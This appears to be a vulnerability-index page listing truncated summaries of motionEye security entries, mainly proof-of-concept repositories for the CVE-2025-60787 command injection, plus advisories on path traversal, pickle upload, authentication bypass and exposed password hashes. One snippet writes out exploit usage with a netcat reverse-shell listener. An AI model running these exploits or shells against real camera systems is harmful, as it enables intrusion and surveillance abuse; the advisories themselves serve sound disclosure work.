CVE-2025-60787

CVE-2025-60787 - RCE autenticado en motionEye PoC para CVE-2025-60787 que es una vulnerabilidad de RCE autenticado para motionEye con todas las versiones afectadas hasta 0.43.1b4 incluida. Este es un PoC automatizado para la vulnerabilidad descrita en este repositorio. Créditos a prabhatverma47...

MotionEye Config Info Disclosure

MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured. id: CVE-2022-25568 info: name: MotionEye Config Info Disclosure author: DhiyaneshDK severity: high...

CVE-2025-60787

CVE-2025-60787 — motionEye Authenticated RCE Authenticated command injection PoC for CVE-2025-60787. motionEye v0.43.1b4 and earlier write user-controlled camera configuration values such as imagefilename into Motion configuration without sufficient sanitization, allowing command execution when t...

motioneye-authenticated-RCE

RCE autenticado en MotionEye/MotionEyeOS Un script de Python 3 que sube un archivo tasks.pickle que permite RCE en MotionEye. Necesitas credenciales de administrador, así que no debería ser un gran problema. Desafortunadamente, MotionEye/MotionEyeOS se puede encontrar frecuentemente ejecutándose...

motionEye-RCE-through-config-parameter

MotionEye RCE via Client-Side Validation Bypass Summary During security testing of a MotionEye instance running in Docker, it was observed that client-side validation within the web UI can be bypassed. This allows arbitrary input to be submitted, including payloads that can trigger execution on t...

CVE-2025-60787-MotionEye-RCE

CVE-2025-60787: Motioneye - Удаленное выполнение кода RCE Профессиональный концепт-доказательство PoC для CVE-2025-60787, критической уязвимости удаленного выполнения кода RCE в MotionEye версии ≤ 0.43.1b4. Технический обзор Уязвимость возникает из-за обхода проверки на стороне клиента в...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye Authenticated RCE Authenticated Remote Code Execution in motionEye = 0.43.1b4 via unsanitized motion config parameter Author: d3vn0mi Vulnerability Overview...

CVE-2025-60787-Detection-motionEye-RCE-via-Config-Injection

README.md Detección de CVE-2025-60787: RCE en motionEye mediante inyección de configuración Ejecución remota de código no autenticada en motionEye Imágenes fijas - Nombre de archivo de imagen Ejemplo de payload PoC: root@kitploit: $touch /tmp/test.%Y-%m-%d-%H-%M-%S...

CVE-2025-60787

CVE-2025-60787 CVE-2025-60787 Poc - RCE - MotionEye = 0.43.1b4 Original link: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter MotionEye RCE via Client-Side Validation Bypass Summary During security testing of a MotionEye instance running in Docker, it was observed that...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 Inyección de Comandos del SO Un exploit de prueba de concepto de Inyección de Comandos del SO para la vulnerabilidad en motionEye, una interfaz web para el demonio motion. La vulnerabilidad abusa del parámetro de configuración imagefilename, el...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE Authenticated RCE in MotionEye = 0.43.1b4 via client-side validation bypass on the imagefilename field. Usage root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Flags...

PYSEC-2026-2665 motionEye's missing authentication on ActionHandler allows unauthenticated camera action execution

Summary The ActionHandler.post method in motionEye has no authentication decorator, allowing any unauthenticated attacker to trigger camera actions including snapshots, recording start/stop, and configured action scripts PTZ controls, alarm triggers, etc.. Vulnerability Details File:...

PYSEC-2026-2667 motionEye's Absolute Path Traversal in Media File Handlers Allows Arbitrary File Read

Summary mEye contains an absolute path traversal vulnerability in multiple media file handlers that allows an attacker to read arbitrary files from the filesystem. The affected handlers accept a user-controlled filename parameter and construct filesystem paths using os.path.join. When an absolute...

PYSEC-2026-2664 motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint

Summary motionEye v0.43.1 latest stable is vulnerable to path traversal in the picture and movie API endpoints, like /picture/id/preview/filename. Neither the API handlers, nor the mediafiles.py functions like getmediapreview check for .. sequences in the filename parameter, except getmediaconten...

PYSEC-2026-2666 motionEye's World-Readable Configuration File Exposes Admin Password Hash

Security Advisory: World-Readable Configuration File Exposes Admin Password Hash in motionEye Summary motionEye v0.43.1 and prior versions create the configuration file /etc/motioneye/motion.conf with 644 permissions -rw-r--r--, making it readable by any local user on the system. This file contai...

PYSEC-2026-1680 motionEye vulnerable to RCE via unsanitized motion config parameter

Summary A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution RCE by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization,...

PYSEC-2026-681 Unrestricted Upload of File with Dangerous Type in motionEye

motionEye = 0.42.1 and motioneEyeOS = 20200606 allow a remote attacker to upload a configuration backup file containing a malicious python pickle file. This is possible when an installation is accessible over the Internet and uses no or poor authentication credentials. The GitHub repositories for...

PYSEC-2026-428 motionEye: Authentication possible via password hash

Summary An authentication bypass vulnerability exists due to improper trust in client-controlled cookies. The application accepts user-supplied cookie values containing a username and password-hash-derived value as sufficient authentication material. These cookies can be set or modified prior to...

CVE-2026-32315

motionEye mEye is an online interface for motion software, a video surveillance program with motion detection. Versions prior to 0.44.0 create the configuration file /etc/motioneye/motion.conf with 644 permissions -rw-r--r--, making it readable by any local user on the system. This file contains...

CVE-2026-31978

motionEye mEye is an online interface for motion software, which is a video surveillance program with motion detection. Versions prior to 0.44.0 are vulnerable to path traversal in the picture and movie API endpoints, suhc as /picture/id/preview/filename. Neither the API handlers, nor the...